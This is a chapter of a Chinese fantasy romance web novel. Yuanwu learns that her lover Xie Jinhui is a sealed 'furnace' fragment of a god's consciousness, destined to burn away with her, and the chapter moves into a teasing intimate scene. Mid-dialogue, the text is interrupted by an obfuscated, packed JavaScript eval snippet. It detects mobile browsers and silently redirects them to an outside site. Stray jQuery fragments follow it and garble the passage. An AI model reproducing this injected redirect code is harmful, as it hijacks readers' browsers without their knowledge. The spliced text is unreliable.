80. 我是不能 不是不行

作品:《众生有疾  天帝晚期

    寝殿内灯火淙淙,鬼鬼祟祟泛动着谢烬洄话语里,波澜不惊的诡异。


    他说他和我很相似,我是成为圣晟天帝的溯澪舍弃的情根。


    而他,是三十二万年前,溯澪帝君为了救未来的仙界,舍出来的一缕神识。


    圣晟天帝以神识开启时间海,力量本就微弱,待他抵达过去,找到溯澪帝君时,连如何开启时间海的方法都遗忘了。


    溯澪帝君帮助圣晟天帝修复神识,并献出自己的一缕神识进入了时间海,去未来救世。


    其中过程不必细说,单说这缕从时间海意外迷路神识,的的确确成为了一粒微尘。


    微尘被我聚成,谢烬洄。


    虽说从前的溯澪帝君还未曾舍弃情根,七欲,这缕神识本也没什么缺失感。


    可小微尘谢烬洄一看见我,就给自己出了烬洄二字作为名字。


    他说,他并不记得任务是什么,但似乎有个模糊的想法萌生了,他想缠着我,带我「回家」。


    弄了半天,我跟他是看起来同根同源,实际上乱七八糟,也不知算不算同根生的,不知道啥关系……


    要说关系近,还得是七欲跟我更亲,与谢烬洄能相遇,要是没有个倒反天罡的时间海把他冲了来。


    我跟他别说八竿子打不着,就算把仙界所有竹竿子连接起来也够不着。


    这缘分,不容易。


    跟他能「情根深种」,是偶然?是必然?反正不像纯天然。


    滋味挺怪,但更怪的是……


    我不禁莞尔,复沉声一问。


    “谢烬洄,既然你只是神识,为啥不和群仙明说。”


    谢烬洄眉头一挑,我继续担忧说道:“我知道一缕神识力量有限,你的仙力够吗?能镇住场子吗?”


    我问完就觉得自己挺傻。


    那天,溯澪帝君与七欲对峙时的风度气势,不光镇得住仙界,连非空山都被他仙力波及得震了几震。


    威风霸气,又谈笑自若。


    谢烬洄屈指弹了一下我脑门。


    “鸢姀,我说我是溯澪,群仙尚且怀疑我,若非翛?知晓我本性,给我证实,那天我估计得挂在天上下不来。


    我要是跟他们和盘托出我的来历,仙界那些老顽固,不得弄出规矩,顾忌,伦理那一套把我绑死,让我更没时间去处理七欲的事。”


    我默默点头,他说的是。


    他绑定太素无念石时,我想要用魂锁救他,不也被戒律殿误判为破坏公正,给当头拦下了吗。


    谢烬洄对我一笑,继续说:“神识和神识有区别,鸢姀忘了溯澪真身是什么了吗?”


    我揉揉脑门,答道:“是净水。”


    “对呀。”他笑得得意,“我也是净水,溯澪从滴水而来,即便后来如汪洋之海般磅礴,可每一滴水都是他,他的每一滴水也是我。


    他法力有多少,我便有多少,仅从法力上讲,我就是溯澪。”


    我哇哇两声,赞叹道:“哇,我家洄洄法力无边了呢,可是,不从法力上说,你和溯澪帝君的差异,大吗?”


    谢烬洄闻言,露了怯,他含糊其辞。


    “大差不差,除了有些记忆溯澪觉得太重,就没让我带上时间海。”


    “哦,谢烬洄是失忆的溯澪帝君。”我见缝插针。


    他撇了撇嘴,不服气。


    “不是失忆,该记得的我都记得,就是……”他眼神专注,看向我的神印,就像穿透了我的识海,看向了本来。


    我不由得想起,帝君逸风渠给我灌注仙力时的神情和话语。


    他问溯澪「你选择了她?」


    帝君口中的她,当然就是我。


    得到溯澪确认后,逸风渠那释然而有跃跃欲试的表情,我记忆犹新


    就像他终于得到什么许可,可以去追逐心中理想了。


    想着想着,我茅塞顿开。


    我抚住谢烬洄的水鱼鳃,来回摩挲,怜惜地说:“谢烬洄,你是不是忘记了对溯澪帝君来说,很重要的谁?”


    谢烬洄晃晃头,手心覆上我的手背,眼睛透亮岑寂。


    “鸢姀,谢烬洄只有你。


    我想我根本回不到溯澪的世界,他在乎谁,又与我何干呢。”


    他歪了头,用长长的睫毛刷着我的手心。


    谢烬洄真好,我们既强悍又渺小,既是独立的个体,也是神明的分支。


    我们相遇的目的,说不清哪里是因,连时间都前后拗折,来来去去。


    但结果很确定,我们会一同湮灭,一同还给世间清明。


    我跟谢烬洄感慨,我曾因为自己是溯澪帝君的情根,而感到自卑,甚至觉得和谢烬洄的感情,太不单纯。


    谢烬洄倒是不以为然,他说:“爱了都爱了,怎么爱的不重要。


    鸢姀,你爱我,快乐吗?”


    我伸手遮住他的眼睛,然后对他的问话点头示意。


    “你说呢?”我反问他


    他声音发坏,回我一句。


    “原来鸢姀对我的觊觎,得在黑暗中才让我知道呀。”


    随即,他叹了口气,压低嗓音说:“真抱歉啊,鸢姀。”


    他摆出一副意味深长的姿态,我松开覆眼的手,疑惑看他。


    见他心情一瞬低落,我赶紧玩笑着恭维他。


    什么我们洄洄情操高,心胸广,愿为天下苍生献身心。


    大慈大悲,救世之主,滴水之志,天河不可度量。


    他无奈笑了笑,转而认真问我:“这条路,鸢姀决意陪我走,那么鸢姀觉得自己伟大,无私,悲天悯人吗?”


    我愣了片刻,用坚定的口气说:“完全没觉得,我只是想跟你在一起。”


    谢烬洄的语调温柔坚决。


    “我也只是,为所当为罢了。”随即他摊开一只手,表达某种无所谓。


    “我存在的目的就是为了完成任务,没成想过程中还拐了位神女,倾情倾身,此生快意。”


    这回,换我眸色一沉了,想着面前这么漂亮的水滴,要被烧干烧焦,惋惜不已。


    “谢烬洄,溯澪帝君将你分化出来时,最初给你的任务,就是要你承担一一切,然后,赴死吗?”


    谢烬洄抬起目光,眼里的深邃吸走我泛起的苦涩。


    “当然,我早知道我的命运,鸢姀我跟你说呀!”他的语调变得轻快起来,就像要把自己拆解成玩具,一步一部教会我怎么弄懂,拼装上他。


    “溯澪给我的身份定位,起初并不是神君。而是……”


    他在卖关子,我眨眨眼睛上钩。


    “是什么?”


    “是炉子。”


    “炉子?”我诧异重复。


    谢烬洄拍了拍胸脯,自信地说:“是很结实不漏风的天地熔炉哦!”


    他解释着解释着,我就明白了。


    溯澪帝君将分出的这缕神识练成了炉子,他的计划既快又狠还绝。


    唉,这三字还熟悉呀!快狠绝!


    溯澪帝君让神识跟着圣晟天帝的神识走,走到对的时间点,往下一跳。


    拽上作妖的七欲,召唤回情根,把圣晟天帝的一丝神识往炉子里一加。


    哔哔叭叭,这神识炉子就会自动在内部点火,将所有一切,连炉子本身一起烧成飞灰。


    不,飞灰都没,啥都没。


    这炉子神识是单行的勇士,因溯澪帝君根本不知道怎么开时间海,便没办法将炉子从未来回收。


    若是同一时空下,即便把炉子发射到星辰大海,它有朝一日还有机会掉下来回家。


    但炉子意外变成谢烬洄,原本精炼无比的原始征途,就先成了灵感余晖。


    我听完谢炉子说完这些,竟然毫不悲戚,还有了了然的解脱感。


    怪不得溯澪想刀我和七欲时,眼睛里冒火,他在烧锅炉啊。


    怪不得谢烬洄总是热情似火,那就是它的底蕴嘛。


    我和他之间还有一丝一毫的障碍,隔膜吗?


    现在没有了,没有了!


    他至始至终,从未改变过的任务和心愿,就是要烧了我呀!


    哈哈哈哈,我让他烧,由他烧,就怕他烧得不尽兴呢!


    我笑吟吟,贴着桌边探身到他身前,伸手从他脸颊滑到他脖颈,手段极其轻柔残酷,来回摩挲。


    他浑身崩着一股劲,就像那些固守教条,冥顽不化的清冷神君。


    我半开玩笑半认真地说:“炉子呀炉子,你要添些柴火吗?”


    从他眼底,我看到自己娇俏无瑕的倩影,他狡黠一笑,眸中带了些雷声隆隆的情动。


    但它如星辰陨落,瞬间暗淡成空明。


    “鸢姀。”他不怂恿不抗拒,淡淡地说,“还有件事,我要告诉你。”他顿了顿,流露出惋惜。


    “我是个炉子,从时间海拿回记忆那天,我穿上溯澪为我量身定做的皮囊后,我就是炉子了。”


    我似懂非懂,估计不懂,但信誓旦旦的地说:“我知道你是炉子啊,没关系,你是微尘,是水滴,是什么我都一样稀罕。”


    谢烬洄甜甜笑了。


    “不是那个意思,我是说,我是炉子,是密不透风的炉子。


    现在,我身体里还容纳着七欲的一部分……


    就是,我不能漏,一点一滴都不能漏,否则……”


    没等他说完,我一知半解,乱解其意地说:“哦,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566658|187004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那我多给你穿点儿,保管捂得严严实实,生一火旺旺的炉子。”


    谢烬洄从喉咙里发出了笑声,但他的表情却有几分落寞的惭愧。


    “鸢姀,”他的声音变得正儿八经,“我坦言,今生今世,我都无法与你双修了!”


    轰隆,晴天霹雳,噼里啪啦轰得我脑里的闪电乱了流。


    我短促地笑了笑,这应该是件悲伤的事儿吧?


    但好像也没什么大不了,甚至……


    我的心思一动,旋即扬起一侧眉毛,朝他邪气一笑。


    然后我起身,拉起他这尊说完刚才的话,在心理上先漏了气的天帝。


    将他轻飘飘一带一推,就按坐在了床榻边的一方宽敞靠椅上。


    他对我这一笑置之,转眼变成流氓的举动,失了抵抗,提防。


    此刻,谢烬洄瘫坐在靠椅里,一脸无辜惊叹。


    我现在胆子大的没边,趁他没反应过来,直接跨坐在他腿上,跟他面对面,审视着他。


    一丝一丝,我轻轻呼吸,那是对他无法言喻的爱怜。


    “谢烬洄,”我说,“哎呀,不能了呀!


    既然是这样,是不是意味着,接下来的日子,我可以对你为所欲为,尽情蹂躏,还不用担心你反制反抗我啦。


    嘻嘻嘻嘻……”


    谢烬洄傻了,他目光涣散,他束手就擒,他此生第一次干不过我!


    哈哈哈!


    我想我脑子有病,但病得畅快。


    得到一份爱,得到一个人,得到一场生命,得到一场消亡。


    终究什么也得不到,唯一握得住的,只有当下的快乐。


    “谢烬洄,我很快乐!”


    我双臂穿过他的腋窝,紧紧抱住他。


    他一骨碌埋头在我发间,真有股我欲取他欲予的味道。


    可抱了一会儿就,我总觉得哪里有些不妥,退回身子,盯着他动人的脸,沉默的炉体。


    真的沉默吗?我吻上他的眉。


    坐姿的缘故,他的鼻息渐渐陷入柔软的山间漩涡里。


    我感觉到他胸肌的起伏,呼吸的压抑,还有……


    愣了一下,我停下渎神的触碰和亲吻。


    谢烬洄微微仰头,桃花微红,娇眼星星。


    他像是将自己关在某个梦里,堪堪苏醒过来,他一动不动,含笑脉脉。


    随后,他面色凄凄,叹了口气咬紧牙关说:“鸢姀,我是不能,不是,不行。”


    怪不得,怪不得方才觉得有什么不行的东西在蓬蓬生长。


    “对不起!”我吓得够呛,撩起起裙子就跑。


    心里后怕啊:这要是给他撩拨的把持不住,漏得可是天下苍生的性命呀。


    跑,赶紧跑。


    就在我跑的同时,谢烬洄双关一夹,又将我捞了回去。


    “哪里跑?”


    我摔坐在他身上,枕着垫在靠椅扶手上的胳膊,抬头羞怯望他。


    “鸢姀啊鸢姀,我很安全的,你不必用这种眼神看我。”谢烬洄笑嘻嘻俯下身。


    “美色当前,能吃的部分还得吃,鸢姀你说,是不是?”


    什么是不是,你都……


    还能反杀哦,呜呜呜呜呜……


    罢了,罢了!


    每一场吻,都是一场告别。


    还有多久呢?将来,未来,有多远呢?


    人生得意须尽欢,更何况不得意,更得尽兴尽力尽意,以可以的任何方式,爱他。


    只不过,本神女偶尔会忧国忧民,吻着吻着,我想到一见要紧事儿。


    “谢烬洄,我俩烧没之后,天帝之位怎么办?”


    刹那间,我感到谢烬洄冷气侵人,满殿尘嚣。


    “放心吧鸢姀。”他笑容可掬。


    “绑定太素无念石时,这个问题我就想到了。


    我已留了后手,待我离去,不管翛?愿意不愿意,他都将是天帝。”


    我满脸不可置信。


    “还能这么玩?你是说,你在绑定太素无念石时,偷摸把祖君也给绑上了?”


    “对,”谢烬洄促狭一笑,“给他当了这么多年儿子,他不亏,他理应偿还。”


    我默默点头。


    毕竟,三十二万年前,是祖君对天帝之位撒手不管,逼得溯澪帝君割舍情根七欲,成为天帝。


    而后,天帝失去本心,七欲作乱,我颠沛流离,谢烬洄成了炉子。


    不能说祖君是罪魁祸首,但他只想着化有归无,逍遥世外的日子,到头了。


    他也该承担起自己,本该承担的天命。


    哎,就是,我和谢烬洄还要忙活一阵儿,把炖我们的料,找全。